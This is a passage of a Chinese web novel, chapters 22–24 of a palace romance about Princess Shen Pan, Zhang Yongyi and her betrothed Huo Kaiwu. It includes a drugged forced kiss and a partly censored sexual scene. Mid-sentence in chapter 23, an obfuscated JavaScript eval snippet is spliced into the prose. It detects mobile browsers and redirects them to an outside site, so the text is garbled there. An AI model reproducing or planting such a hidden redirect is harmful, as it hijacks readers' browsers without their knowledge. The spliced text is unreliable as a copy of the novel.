他其实生的也很不错,只是和嵇阑站到一起,就有些寡淡无味了。但嵇阑是渍了花蜜的美酒,初尝回甘,千杯下肚就有些寡淡;张永一呢,该是深窖雪藏的烈酒,初尝寡淡,后劲辛辣,辣得人连杯子都要砸个粉碎,十盏过后就有了点特别的味道。 沈磐不知道自己为何会这么想。 分明张永一这个人,与姑娘多说上一句话都能臊得满脸通红,该是比最平淡的白水还要没有滋味。 或许搅弄戏弄这样的死水,便是无聊之人最大的趣味,而她又没多少良心。 沈磐站在不远,忽然就不愿往前走了。 偏门里栽了枫树,赤红赤红的,像烧起了一团火。 火燃在他背后,风拂过沈磐心里。 风助火势,要烧了山。 沈磐掉头要走,却在此时张永一看了过来。 她顿时站停脚步。 张永一与僧人话别,慢慢走了过来。 火要烧山。 山没法走。 沈磐问:“他们人呢?” “燕王殿下送他们回侯府了。” 沈磐蹙眉。 张永一斗胆问一句:“嵇公子呢?” 沈磐挑眉不语。 见他踟蹰着、煎熬着、焦灼着,沈磐叹气:“你送我?” 张永一退身一礼:“遵命。” “遵谁的命?” 显然张永一没想过沈磐会这么问。 这好似在刁难。 张永一微抬头,有些僵硬迟疑地回答:“公主的命令。” 沈磐低眉看着他一瞬间又垂下的眼睫,心情突然郁结,“我自己走,不用你送了。” “公主!” 张永一追上来,沈磐的脚步却不停。 他不知该说什么挽留沈磐,他摸不着头脑沈磐又为何就生了气。 又想了想,张永一道:“今日祖母叫我来慈悲寺,我事先猜过,没想是这样……” 沈磐倏然停下,“郇萦很好,郇家会找长公主商议,也是中意你的意思。” 张永一呼吸一窒。 沈磐转身直面他的心鼓雷鸣,“你要把握住机会。” 说完,她转身就往偏门外走。 追上去,追上去解释。 耳边一直有个声音在叫嚣。 可他要解释什么?解释说郇姑娘很好,他很尊重敬佩她,但郇姑娘不喜欢他,郇姑娘也不是他的心上人? 然后呢? 他要僭越地说些什么做些什么吗? 他业已按照祖母的意思来与郇家姑娘相亲,而现在已经八月了,两个月后他的公主就要奉旨成婚。 他们是纸上的两条线,在某时某刻相遇过一回,说过几句话,一同经历了点非同寻常的事,这让他起了些不该有的肖想。但从此以后,他们永远也不会相交,各自走向对方永远不会涉足的地方。 就像此刻,他眼看着沈磐离他而去。 22. 第二十二章 莫平意(四) “公主。” 沈磐侧身,就见巷口站着霍开武。他牵着缰,还提了一对小巧的酒瓶,风一吹,被一根绳子拴在同一对绳结里酒瓶就踉跄起来,叮叮当当铃铛似的响个不停。 “霍员外。” 霍开武叉手行礼,随即牵着马走了过来。 “臣想请公主喝一杯。” “本宫不会喝酒。” “喝酒是其次。” 沈磐凝神不笑时,是有些冷肃的,她今天衣裳颜色也淡,在午后阳光下直接渲成了桂花色。她很浅很淡,还有些冷,但举手抬足间每个疏远的动作,落在霍开武眼里,都成了“艳”。 此刻的沈磐是冷艳的,像是冷溪中的一块寒玉。 “聊聊嵇阑才是重点。” 沈磐这才抬眼看他。 霍开武脸上也没有笑,他松开攥缰的手,即刻有一丝鲜血沿着掌纹淌了下来。 他手心皮肤完好无缺,那这血又是从何而来? 霍开武张开手心向她晃了晃,似也在问她,这究竟是谁的血。 嵇阑。 沈磐的心一沉。 “毕竟我们快要成婚了,有些事得早些说才好。” 沈磐的视线落在了他的手背,上面有两道刮痕,新鲜的,还冒着血。 他们打了一架。 听霍开武的话头,嵇阑吃了教训败了下风。 真是够次的。 沈磐冷哼:“有什么事?” “毕竟是我们的家事,光天化日地说不好。” “那霍员外想在哪里说?” “劳公主送臣一路。” 见沈磐似要拒绝,霍开武笑道:“未婚夫妻同乘一车有何不妥?” 沈磐一让,霍开武便撒开马缰绳,提着酒瓶走了过来。 张永一在门内静静看着,看着沈磐搭着霍开武的手走入车厢。 他攥紧了曾也扶过沈磐的手。 目送长平公主的马车驶离小巷,烧山的那把火霍然炸开了花。 他即刻冲了出去。 ** “公主玩够了吗?” 沈磐微一挑眉,“这话该本宫问才是。” 霍开武拔开瓶塞,递到沈磐手中,“不一样。” 沈磐拖着小瓶,听瓶中酒水随着车行乱晃,“如何不一样?” 霍开武咬开另一瓶,灌了几口,“她们是为了财,而嵇阑是为了名。我有的是钱,可驸马的名分只有一个。” “搞得像你很珍惜这个名分。” 霍开武笑,一摊手,“没办法,这是家里老子死命塞给我的,不要不行。” 沈磐冷笑:“怎么不行?不要就是不孝么?那你犯过的不孝之事,可比区区一个驸马名分来得金贵啊。” 霍开武的眼睛冷幽幽。 突然,他笑道:“这还没成婚洞房,公主就这么在意将来的嫡庶之事了?” 不待沈磐开口反击,他兀自晃晃酒瓶道:“公主放心,这些事我还是能处理好的,绝对不会让那些下贱的东西脏了公主府的地。” 沈磐一扯唇角,“看来霍员外没有理解本宫的意思。” 霍开武目光一凝。 “他们的母亲含辛茹苦地生下他们,虽然岌岌无名,但不论是男还是女,他们都活着,活在人世,那你就是有家有室的人,那你就是在骗婚。” 霍开武眯眼。 “而你如果要灭口,那就是犯律。” “公主在说笑。” “骗婚犯律,家宅不宁,这就是不孝。哦,还有,你父亲霍大将军知不知道你给他开了这样大的玩笑?” 霍开武仰头又灌了一口酒,“为了和嵇阑那个畜牲厮混,公主真是无所不用其计。” 沈磐靠上车厢,一幅无所谓的模样。 霍开武喝尽瓶中酒,猛然靠了过来,用酒瓶撵上沈磐的右脸。 “看来你真的很喜欢那个畜牲?嗯?那猜猜,今天他断了几根肋骨……” 沈磐一个巴掌扇了上去,扇得霍开武右耳一嗡。 他舔舔嘴角的腥甜,即刻转过脸压了上来,径直咬上沈磐的嘴唇。沈磐吃痛,手腕更被他掐在掌中,像是捆了铁链,他整个人更重得像一块玄铁,已经被妒火烧得通红滚烫的玄铁。 酒瓶“嘭”地摔在地上,马车也刹那驻停,车门被大力拉开,等沈磐缓过当前这阵晕眩,睁眼时的霍开武就被长缨卫掀到了路边。 他大笑着,抹着嘴唇上的血,从地上爬起,又吹了声哨子,招来自己的坐骑便掉头离开。 沈磐只觉得眼前的天光太过刺眼,让她根本不敢睁眼,“关……关上!” 长缨卫不敢违逆,只能合上车门。 门合上的那一刻,沈磐只觉得自己落入了一片火燎的荒原,天是烫的,地是烫的,她碰上自己的皮肤也是能激出火的滚烫。 “混账!” 她骂人的声音也是沸腾的。 沈磐喘不过气,压上胸口的手蓦地扯松衣领。现在已经是八月天,过午的日头却要比盛夏还要毒辣。 她这个鬼样子一定会吓到沈斫他们…… 沈磐脑中一团浆糊。 “公主?” 长缨卫在唤她。 沈磐又骂了一声,扶着车门跪坐下来。 “没事。” 她冷静了好久方才平复,随手撩了一把已经被自己扯得凌乱的头发,撑着车门蹲了起来。 “公主?” “去公主府吧。”沈磐出声打断长缨卫的话。 马车又缓缓走了起来,车身一晃,沈磐脑中又乱麻一团。 她想到了张永一,那时候他牵着自己时,手也如此刻滚烫。 她伸手贴上自己的额头,只觉得自己是发烧了。 也不知道霍开武给她吃的什么脏东西,脏东西必然在酒里,可霍开武他怎么没事? 沈磐气得七窍冒烟。 “公主到了。” 沈磐又等了等,待到自己彻底平复才推开车门。但她下车的步子还在打颤,再想到霍开武那副小人得志、阴谋得逞的模样,直气得她自骂是只软脚蟹任凭拿捏。 她的公主府也如同她这个主人一样,是无能狂怒燎原烧山过后的一片死寂。 沈磐仰头看看那空洞洞的牌匾。 公主府还未完工,她只在图纸上怀着指点江山的激荡心情参与过布局,曾也在闲极无聊时畅想过府中情状,今天是亲自参观的第一回,沈磐说不出是激动些还是担心些。 这是独属于她的地方,名义上如此,实际又未必。况且这一番装潢究竟有几分贴合她的心意,谁又能说得准?但太子也曾喊她出来“监工”,却被惰怠的她一口回绝,故而无论装成什么样她都认。 府里已经有奴仆在收拾了,迎出来的小丫头长很喜人,名字也很喜人,叫团圆,但见了自己,尤其是这样衣冠不整阴气沉沉的自己,有些害怕。 她推谢了团圆要搀扶自己的美意,提起湿了半边的裙摆登上台阶。 张永一就骑着马站在街口,远远确认她大致无碍,才愿掉头回家。 就在此时,沈磐毫不经意一偏头,便看见了马背上的他。 今日出门,他是特意收拾过的。 相亲这样的人生大事,自然再重视也不为过。只是郇萦心思飘忽不在他身上,故而她什么福气都有独独饱不了这样的眼福;而她呢,此番行径和鬼祟偷摸的梁上君子觊觎邻家稀世珍奇别无二致。 她看他,他也看她。 张永一疑心是他的错觉,他一定是气得、悲得、后悔得昏了头,错以为沈磐看他的这一眼长比三秋。他才起了这样的想法,就见沈磐转过脸和婢女说了几句话,随即就像从未在巷口见过任何人一样,抬脚迈进了崭新的公主府头也不回。 张永一的心骤然坠落。 那婢女跑了过来,又将他的心霍然提起,“张郎中,我家公主请您喝杯茶。” ** 当真就是喝一杯茶。 张永一坐在一处花厅,团圆亲自泡了一盏茶呈到他手边。 府里的装潢大致完成,只剩些纱幔绸帐还没挂上,故而显得有些冷硬。 张永一小心接过茶,谢过后,慢慢打量起这座花厅。 其实他根本来不及打量,所有的目光便被身后连排的琉璃花窗吸引。 窗外是一处狭长的天井,两侧游廊夹着一面斑驳粉墙,井中栽植的那棵俯仰有致的巨木,就如卧龙睡虎般倚靠墙前。这花厅取的应该是江南景色,但这未名之树枯皮漆黑而纹路毛糙,旧枝虬曲苍劲嶙峋,新条清癯披靡直上,像古战场上一个饱经捶打历练、扛旗着甲就死的守将残骸。 张永一对着窗外此景凝注良久,这才在凭空卷地裹沙携腥而来的罡风中垂眸。 他不知为何,见此树即想起燕王沈斫所说,宁远的雪很大,陆将军坟前的松树都被压塌了。 张永一深吸一口气,就嗅得身后大门开合而起的风送来一阵的冷香。 就像那个上元夜一样,沈磐走到他身边不过寸许之地。 “是玉梅,比雪还要白。其实我想找一株胭脂梅,要比火烧还要漂亮,只可惜看中了一株,匠人说胭脂梅娇贵,化隆的水土干涩,不是它的归依所在,难活,只能作罢。” “白梅也好,‘不要人夸好颜色,只留清气满乾坤’。” 沈磐敛眉,“它开在春天,这点香也没什么意思。” “梅有四德五福,开百花之先、独天下而春,‘四君子’、‘岁寒三友’独赞梅花……” 沈磐扬眉轻笑:“不想,你居然也有些墨水,并不是一个只知道舞刀弄枪的武夫。” 张永一耳根一热。 沈磐几步走至窗前,示意他环顾花厅,画案书架、空无一物,屏风錾银、如凝霜雪,桌上的茶已冷,屏风后的博山炉虽点着香,但香更是冷的。就算挂上了各色纱幔,张永一觉得,这里还是冷得可怕,像是万年不化的雪山之巅。 “若窗外之梅不比火还要红,哪怕是春天,这里也是一处冰窟。” 但张永一看着她,很想说,有她在,便是冰窟也成暖春。 可他没说。 他总觉沈磐刚刚假借匠人之言,在说胭脂梅难求,也在说她生于皇室,“随性自在”亦难求。她是她自己口中“没什么意思”的白梅,已无颜色,这点暗香她更瞧不上的。但她抬手,她要推开她的窗,窗外的秋风撩起她的衣袖,不经意散出的气息却让他的淡然从容随风消散。 她站在轰轰烈烈的天光里。 张永一被晃了眼睛,已然不能再看。 可他怕错过沈磐回首时的每一个表情。 “张永一。” 再睁眼时,沈磐已经站在了梅树下。青砖拢过的新土刚浇过水,她一个脚印上去,洁白的裙摆上就落了一处泥点。 他不自觉迈出半步,想走入天井,走得离她得更近些,但沈磐又出声,他就像个被抓包的窃贼脚下生根。 “千秋节后沈斫就要走了,你去送送他。” 张永一望着沈磐似经冬雪化有些松动的神情一口应下:“遵命。” 他在等待、妄想沈磐如先前一样问他“遵何人之命”,然后他便能将霍开武被长缨 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沈磐敛容,“这里脚下的每一寸土,都埋着尸骨、长着恨毒,恨人时,你就身在炼狱。所以化隆之地,也是炼狱之城。” 她抬眸看,张永一的目光里的复杂,果然能分解出一缕缕的心疼。 他果然没有恨过人,他果然不懂。 他也不要懂。 “郇萦很好,她洒脱得不像是出生于此的人,但郇家涉水太深、羁绊太多,不适合你。你应当娶一个和是非牵扯毫无关系的姑娘,和她好好地过完这辈子,按照你祖母祈求的那样,平安顺遂。当然——” 沈磐吐出一口浊气,“离开化隆,才得自由。” 张永一只凝望她并不说话。 沈磐慢慢捋顺肺腑之中四处乱串的邪气,勉强扯一个笑:“怎么不说‘遵命’?” 张永一垂下眼,“臣不能遵命。” 那股气堵在心口,闷得沈磐喘不过来,但她还记得要在张永一面前尽可能地从容,便侧过身按着心口,刻意挑眉质问:“你看上了郇萦?” “没,郇姑娘她……” “那就是牵绊功名利禄了。” “臣有自己的志向,从前以为,只有在边疆的战场上才能实现,可自从陆将军病逝、臣回到了化隆,又目睹了元良郡王满门的冤屈无处申告,臣这才明白,化隆才是我真正应该戍守的地方,这里才是真正的战场。” 他的话像柄匕首,贯穿她的心脏。 沈磐口中喃喃:“是非地,攀云梯。可是张永一,在这个地方,你就像被扔到战场上的我一样,手无缚鸡之力。眼下有你祖母梁国长公主顶着,有你张家的族亲顶着,你安坐一旁,得观巫蛊案不必因为生存被迫下场,这时,你还能有良心,有志向……” “公主,臣从来不是羸弱巽懦之人,此时在权力面前略逊一筹,但未来在前——” “未来会发生什么谁也不知道。”沈磐转身看向手足无措的他,“乱花渐欲迷人眼。” “是,在化隆这个地方,很多人都会迷失,臣也不例外,很多时候都忘记自己为何而来、将往何处去。但臣终于明白,臣要去边疆、也要上朝堂,臣从不怕是非,也不畏惧纷乱,只怕不能实现自己的抱负、不能承袭师长的志向、不能看见自己的愿望变成真……” 沈磐望天。 他的话其实真的很苍白,就像这片空空如也的天。 他很急,很急很急地要向自己表衷心。 可她要这样的衷心何用? 沈磐只觉得心口堵着的气散了,可除了心这处灶台,该烧的地方熄了火,不该烧的地方却着了火,烟熏火燎,掀翻天。 今天这场有些逾越的对话理当暂停,但今朝一停,就永远也不会有这样的机会再听一听彼此的心。 其实她早就听得懂了他的心。 她沈磐站在皇权的最高一级台阶上,这正是张永一想要来的地方,为何而来不必计较,只需要看见,她和他的志向在一个方向,而这世上的所有人,明知道鱼与熊掌不可兼得,却还要南柯黄粱地梦一场。 理当谴责,但沈磐清楚地知道,她自己也就是这样的一个人,有时候自私贪婪得只能周全自己一个人的欲望,根本管不上旁人死活。 知道他们有时候是一样的人,沈磐就再没有什么舍不得了。 他们都不是幸福美满家庭里出来的孩子,皇家从不幸福,张家也缺尽美满。可张永一总像一个幸福疼爱捏成的泥俑,又或者是温仁良善捧大的娃娃,总让人舍不得摔碎了。 沈磐不明白,这个在沙场上都能风云叱咤的男人,在她眼里怎么就成了一个泥俑娃娃。 他好像刀枪不入,她却担心会摔碎他。 沈磐忽然笑了一声,直直撞入尚且有嘴说不清的张永一的眼睛。 她别起头发,“你从不怕纷争对么?” 张永一辩解得心焦神躁,安静了一瞬,随即坚定道:“是。” “起风了。” 沈磐往回朝他走来,自然地伸出手,伸到他的眼前。 张永一低下头。 他本该像那天在宁安侯府前扶她上车一样接过她的手,可他竟在犹疑。 沈磐歪过头,“嗯?” 他即刻托住。 她的手像一块温热的羊脂玉,而他的手在抖,像要捉摸虚无缥缈的一场梦。 “劳烦张郎中关窗。” “是。” 23. 第二十三章 莫平意(五) 自天井中回来,一进屋,沈磐就觉得更热了。她不禁有些脱力地攥住屏风沿,强装镇定地借力靠上片刻,等花窗被张永一重新关好,她这才松了手走到屏风隔出来的里间。 她的背影像一道残烟吹散。 张永一猜到她恐有不适,便追了过去,一过屏风,他也不知道发生了什么,只觉得屋内气氛骤然变化,那座博山炉里的熏香腾腾而上,分明是很空远清幽的味道,却似蒸笼下的烈火炖干柴般草率鲁莽,硬是将他闷得浑身冒汗。 这只是短短的弹指之间,他就已经热得心神摇晃。 沈磐扶着屏风,不知在想什么。 突然她转身看来,张永一下意识地后退一步,眼神也随之有意躲闪。 而对面,沈磐目不转睛地望着他。 他们的眼神,似是在玩一场猫捉老鼠的游戏。 沈磐微微一笑,笑中并无兴味,倒是无奈。 她还是不该拉张永一下水,有嵇阑陪着就行了,为何还要脏了他的路呢? 张永一看得见沈磐眼中的纠结,他想上前,却还是选择后退。 后退半步,便能引来沈磐的一句问候:“张郎中怎么了?有急事?” 张永一连忙应道:“没……没有。” 可话一出口,他就有些后悔。 他好像猜得到可能会发生什么,这本是逃之夭夭的绝好借口,哪怕沈磐不信,也好过这样试也未试就束手就擒的好。可一时半会儿,他又不敢断定,束手就擒,被沈磐的眼神“擒”住后,究竟会发生什么。 他竟然又有些舍不得一走了之。 沈磐一幅恍然的模样,点点头,“这样啊——” 张永一的心被沈磐的这三个字吊了起来。 可他耐心等,却什么下文也没有等来。 他小心地抬眼瞟过去。 沈磐安静地站在那里,像琴台上孤玉瓶中的一枝含苞花,接受自己的目光,也一瞬不瞬地看着自己。 她的眼神里,似有探究,似有奇怪,似有欣赏,似有不忍,还似有什么期待。 张永一说不清自己在这刹那间的对视里,究竟在沈磐的眼睛里看见了什么。 他现在只看见,她一边洁白的裙摆被踩在她的鞋履下,另一边则被一小块泥点子脏污了色彩。 沈磐是一块玉。 绝世珍惜的美玉。 俗人这辈子流落草莽、高登庙堂也见不了庐山面目的玉。 就曾捧在他的手心。 忽然,张永一看见沈磐踩着裙摆的鞋子一抬,居然是要朝他这里来。 他连忙抬头,却见沈磐转了个身,提着裙子往里间深处走去。 他松一口气。 却听沈磐淡淡道:“张郎中,本宫有件事要请教你。” 张永一呼吸一促,进也不是退也不是,只能望着沈磐的背影在原地傻站。 沈磐皱眉回头,“张永一?” 张永一应一声:“公主有何事?臣若能帮上,定当竭力。” 沈磐微一挑眉,“你连是什么事情都不知道,就这么夸下海口?” 张永一一噎,片刻他揖礼:“请公主明示。” 沈磐凝眉,似是极其不悦。 张永一大着胆子抬头,立时对上了她的眼神。 他不想惹沈磐生气。 “你到这里来。” 但沈磐的声音已经很冷了。 张永一略一思忖,将各种礼节都掂量遍,最终还是先于思虑行动,垂头错目缓缓踱到了深侧。 “这里没有别人。” 张永一心鼓擂得响亮。 “不用讲这些虚礼。” 他看见沈磐掩在宽袍大袖中的手突然抬起,他的心跳不由又急了几分。 “请张郎中站到那里。” 张永一顺着她的手指看去,顿时一惊。 那是临窗的一张美人榻。 公主府新建,屋里的家具也都是新打的,这张榻虽然被人仔细擦洗过,但崭新的榻面上光秃秃一处饰物也无,生冷冰凉得让人心梗。 张永一愣住,看向沈磐。 她一脸坦然,倒让自己显得龌龊。 张永一微一迟疑,还是抬脚走了过去,在沈磐指着的位子站好,然后静静等她开口。 沈磐却不再说话。 沉默似是无处不在的窥伺,这让他如同被扒光了衣裳袒露在光天化日,难以忍受。 若没有这些折磨,光是看着沈磐站在那里,什么也不说,这就是披荆斩棘、登峰造极也换不来的勉励。 沈磐似是也难以忍受什么,终于在张永一的注视下,迈出了向前来的第一步。 一步步地接近,她像是踩入了自己的心鼓。 她身上缠绕不散的幽香逐渐浓重。 他自己的呼吸声也越发响亮。 张永一又要后退,可亏他神智清醒,记得自己退无可退,后面是一张三五个人横卧也不嫌逼仄的长榻。 他只退了半步,沈磐就已经走在了身前一臂之隔的地方。 这时只要有一阵清风拂过,他们的衣袖就能纠缠到一起。 终于,张永一再也不能任由这样的距离一点点击溃自己的防线,他霍然抬头,张口就要告辞,却是眼前一花,一股温热的气息就喷在了自己脸上。 他不可置信地垂下眼,就见沈磐的鼻尖蹭着自己鼻尖,她的睫毛又密又长,轻轻一扇,那双能盈满园灿烂的眼睛就这样送在了自己眼前。 嘴唇上一凉。 脸颊也落入了水晶般清凉的一双手掌。 张永一似要窒息。 他浑身僵直,只愣愣地低头,眼看着沈磐又亲上了自己的下唇。 这是蜻蜓点水般的一个吻,却如同溅落了一粒星火种在一片荒原。 沈磐捧着他脸颊的手贴着他的皮肤往脖子划去,拇指却擦过他的下唇,最终又停在了嘴角。 张永一僵结的思路刚刚活络,正要握住她的手,就听自己乱麻似的呼吸像是被斩刀砍得绳结飞迸,而沈磐又亲了上来,她的呼吸更乱得满目流絮。 这不再是蜻蜓点水了,而似两人有什么深仇大恨,她咬得又重又恨,可力到唇上又克制地收住,只是看起来、听起来很怂人,但一点伤口乃至痕迹也没有留下。 张永一眼前又是一花,居然仰面被沈磐推倒在榻上。 这张榻很硬,膈得他用于支撑的手肘有些疼。他不由得担心,沈磐这毫无章法的姑娘,膝盖要是磕在了榻沿这该疼成什么样子。 想着,张永一撑起上身看过去,就见沈磐只站在榻前,一双幽幽的眸子凝视着自己,从自己的嘴唇一直流转上他的脖颈,再一路往下。 张永一脑中“轰”地一声一片空白。 他还来不及做任何反应,沈磐就俯下身,跪在了榻沿。 看着雪白藕花瓣似的裙摆落在自己身上,张永一心鼓剧烈。 沈磐俯下身,张永一一把攥住她的手。 似在暗暗较劲。 可忽然,沈磐一撒手,全然不再碰自己的模样,他那只还握着她腕子的手便尴尬起来,仿佛握着火中之栗。 他只能松手,刚要想办法离开,就被沈磐捉住了手指。 “公主!” 沈磐不应,她的手掌细腻温暖,却让人想见这样的手掌攥着自己的心脏,狠狠压榨。 张永一的呼吸也有些阻滞。 沈磐微微抬身。 张永一豁然握住她的手掌。 “公主!” 沈磐却还是不管。 在她目不转睛地注视下,张永一忽然就听见自己胸腔里那颗已然被沈磐牵制手中的心脏,闷闷的心脏,一下子就疯狂起来,收缴回来的血液,随着沈磐的牵引,瞬息又激泵了出去。 他的指尖一热。 好像是他的血脉承受不住这样的冲力,任凭那已经散去滚烫直至温凉的血液,迫出表面。 血是温热的。 不是鲜红鲜红的,却是一直泰然从容的沈磐的脸色。 他的心,更加兴奋了。 如同决堤的悬河,两岸是一片哀鸿泥泞,他血脉破溃之处,也是血肉绞缠,泥泞不堪。 似真的淅淅沥沥流出了血。 张永一哑着嗓子要叫沈磐的名字,崩溃边缘的神智还提醒着他,这很犯忌讳。 他用了力气,要从沈磐手中抽回,忙乱中,指尖刮到了沈磐,她“哼”了一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962299|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露出来痛苦的神色。 张永一慌了,连忙松了力,却正好落入沈磐的罗网。 他忽然想起了东北宁远时,刚从战场上下来,同袍又自己扛着,双肩刚一着地,箭口里的血便止不住地涌了出来。 涌了出来。 将破烂的衣物、冰冷的箭簇、炸开的木渣,还有翻绞的皮肉,一并洇湿沾透。军中的大夫就是这个时候,往这样的伤口里伸手掏的,沾着凝着的手指便往更深更艰涩之处按。 痛叫,痛叫,痛叫。 大夫的近端指节都没了进去,痛叫又止在了喉咙。 最慷慨的血红色,无比迫近的死亡,全都封在了口中。 张永一的视线就在这样的痛叫中模糊,一恍惚,重又看见了眼前近在咫尺的沈磐。 她下意识地咬起嘴唇。 “公主——”他的声音是出人意料又意料之中的沙哑,“痛就算了。” 闻言,沈磐终于没有当耳旁风,而是抬眉扫了过来。 张永一以为她终于松动放弃了。 但他还记得那个时候,大夫将箭镞挖出后,鲜血便像泉涌一样,一股一股,一下又一下,从更深更深的地方,一下又一下涌出。 彻底占据了视野。 红,红,红,散着热气的红。 同袍却忽然笑起,而眼前的沈磐眉宇间也似有得意之色。 张永一顿觉血热。 忽然,他听见沈磐笑了。 很轻微。 他听着却如同打雷般清楚。 他的心好像也破了口。 到处是令人晕眩的血红色。 “公主……不……” “你不许说话。” 张永一居然就不再说话。 她的声音居然还是这么清明。 趁此时,他抽回了手。 他的力道有些大,带得沈磐都跌坐了下来。 他刚要将人小心从自己身上推开,就见自己的指尖居然真的挂下了一道血丝。 沈磐也望着他的手指,不知在想什么。 张永一不敢再看,卷起手指,刚要起身,沈磐的手就按了下去。 他闷哼一声,就被沈磐又压了回去。 这一回,她似是彻底没了耐心。 裙摆如花落盖下,周遭一片衣物杂乱,可最紧要处,他们只有一衣之隔。 张永一不敢动了。 沈磐的举动撵得他痛,痛得头上青筋直冒,像是他变成了记忆里躺在血污之中的同袍某,他中箭的心口,还爬上了一条嗜血的蛭。 她抬了抬身子,那条冰滑的蛭便往伤口里面钻。 可顾不得这些,怕沈磐摔倒,张永一下意识扶上她。 沈磐盯上他的手。 张永一直觉被她看到的地方都火辣辣一片。 “公主。” 他摇摇头。 沈磐又不理他了,只要去牵他的手。 他死死扣住。 似是早知道会这样,沈磐似是耐心耗尽,不愿再玩这样拉扯的游戏,趁着张永一心神摇晃之际,又一抬身,胡乱扒了几下就口口口口。 两个人俱是轻哼。 张永一终于急了:“公主,于礼不合……” 他极力稳着气息。 沈磐平复了呼吸。 张永一双手箍住她。 “你也要我嫁给霍开武吗?” 张永一霎时沉默。 “你不是从不怕纷争吗?” “你不也有此意吗?” 片刻他问:“你想清楚了吗?” 他没有听到沈磐的回答,却得闻当年大夫反取箭簇时的刺耳声,和更加响亮的,对死的恐惧声。 全都充斥着耳畔。 让听的人都能感到痛。 太痛了。 她太痛了。 张永一顾不得自己,连忙要扶有些摇摇欲坠的沈磐。 沈磐笑了。 脸颊微红,笑却有点苍白。 白的,红的,张永一的视野都匮乏浑浊起来。 可沈磐的衣裳色彩,如旧鲜艳。 如她这个人一般,从那血肉模糊的记忆里,一下子鲜亮清晰。 24. 第二十四章 莫平意(六) 张永一像是做了场梦。 梦醒了就回到了现实,现实还如同一碗已经烧得干净的香灰冷败。 梁国再没有提起郇萦,想来襄阳侯府里也再没提起自己,他们这段相亲以两个人各自分道为结。 他也一连十日都没听见关于沈磐的任何消息。 好像真如一场梦散。 那天他是怎么离开公主府的?他是牵着马一步步走回来的,从通化门附近的公主府一路走回了家。出门时西边还是一片火海煊赫,到家后秋夜如水风凉露重。 他应付完祖母,打发了义然,一个人走进暗不见天夜里。 手中还能抓住一脉沈磐的气息,指尖凝结着一丝血。 可这就成了一场梦。 诀别之梦。 他抓不住,就这么散了。 张永一深吸一口气。 今天是千秋节,他又只能像从前那样,隔着人山人海远远地望她一眼,见她平安,见她脸上还带着笑,心情似还晴朗,便觉得格外满足。 真是这样吗? 张永一攥着手指,跟着张绰穿过宫前殿。 说起来他们还是皇亲,宫前殿是招呼外臣、微末之臣的,他们吃过一盏酒便能到前廷后宫的交接之所太极殿去。 这就又能离沈磐更近一点。 更近一点。 太极殿上有丝竹表演,他和张绰坐在最末缘,眼见着霍开武跟着霍辄走了进来,坐了会儿又跟着他四叔霍轶走了出去。 卿茂山、辛自宽、冉琢明、梅依径、陶识礼、方继昌,这些大人物他都已经面熟,还有面生的有张绰给他介绍,一会儿是早已退休的前大理寺卿薛康文,一会儿是将将告老节后就要返乡荣养的前户部尚书王立镛。 郇翾没来,说是病了,但太子妃旁坐了一位女子,看面容应该就是郇翾的同胞妹妹。太子和陈王各自坐着,晋国公主和郇渰也各自坐着,沈斫一个人坐在一边闷声吃着桌上的肴馔,连张吉鹊他都见了,独独没有见沈磐。 她没来。 她身体不适? 她还好吗? 张绰都看出了张永一的焦躁,碍于人多眼杂,便没多问。 陈王为陛下贺寿,洋洋洒洒写了千字贺词,念得满堂生彩,颓靡的皇帝眼里都放了光。 张永一于文辞上没有造诣,但陈王的文采是门外汉听来都要赞不绝口的。 沈斫也在鼓掌,眼里的赞许不是伪装。 张永一蓦地想起那天,陈王私闯光武门,为了给他求情。 他们是兄弟。 他们是吗? 陈王的文辞更好,燕王的笑容更微末。 陈王的衣冠越发华丽像个大人,那天承天殿前燕王的衣袍便淌下更多的血。 他娩出于生日,他降临在死期。 众公卿皇子向陛下举杯,祝过万岁之后,燕王应陈王遥敬的酒,沈斫垂眸喝了,对面那个少年却高兴得手抖散了酒。 张永一不知为何,觉得这一幕荒谬。 太怪了,太怪了。 他刚提起酒壶,张绰就按住他的手,“别喝了。” 张永一奇怪:“没醉。” 张绰还是夺过了酒壶,摆到他那边。 “怎么了?” 张绰严肃道:“一会儿我有事和你说,关于你的仕途。” 张永一点点头。 那天沈磐身上有淡淡的酒味。 他问她想清楚了? 她一定没有想清楚。 她应当后悔了,避而不见;她也应该后悔的,把自己交给了一个前途不明又瞻前顾后的胆小鬼。只有在喝醉了、神智被麻痹了,他才会想着不顾一切地去御前请旨,不顾一切地求娶她。只要稍稍清醒,他就恨不得杀了那天的自己。 他真是一个可憎之人。 要承袭师长遗愿,又抛不下血脉情亲;决议入朝堂厮杀,却平白连累她。实现他的志向和名正言顺站到她身旁可以成为同一件事,可张永一就是觉得太错太错了。她想要的是静水深流,他却在追风逐沙,她求一场平安,他要一次纷乱。 太错了。 他们现在这样又算什么? 情人吗? 有情人吗? 他都已经是抛去血缘外与她最亲近的人了,他还不敢断言。 若说要断呢?断了自己的孽情? 可只要一听见沈磐的声音,哪怕只是听见她的名字—— 宴至热闹处,忽然有一声幼童的哭喊从殿外传来,像是一把剑割裂了这一片繁荣图景。 “皇爷爷!皇爷爷!” 殿内还闹着,连正中央视野最好的达官显贵都没看清这孩子的形容,张永一就暂住了呼吸。 “皇爷爷!他打了姨母!他侮辱姨母!” “郇渊!” 沈碧和郇渰霍然站起,龙椅上半仰着的永济帝也突然惊醒,殿上为之一静。 在座之人半个念头还没划过,连郇渊的父母尚且没消化完哭嗓着的郇渊究竟在说些什么,就见上首一道人影掠过,居然是沈斫,衣袖掀翻了桌上杯盘也不管,一声不吭拨开挡路的人就冲出了太极殿。 殿上叮铃咣啷响了一片。 张绰眼疾手快按住了张永一,使了狠劲儿将人压回了位子上。 沈碧一把拉住要往龙椅上跑的儿子,“郇渊你说什么?” 郇渊拽住母亲的袖子,“霍……霍开武打了长平姨母!” 郇渰一把擒住郇渊要去抹眼泪的手,就见这稚嫩的手背上落了一道血痕,还有瓷片的碎渣留在翻出的皮肉之中,他瞪大了眼睛。 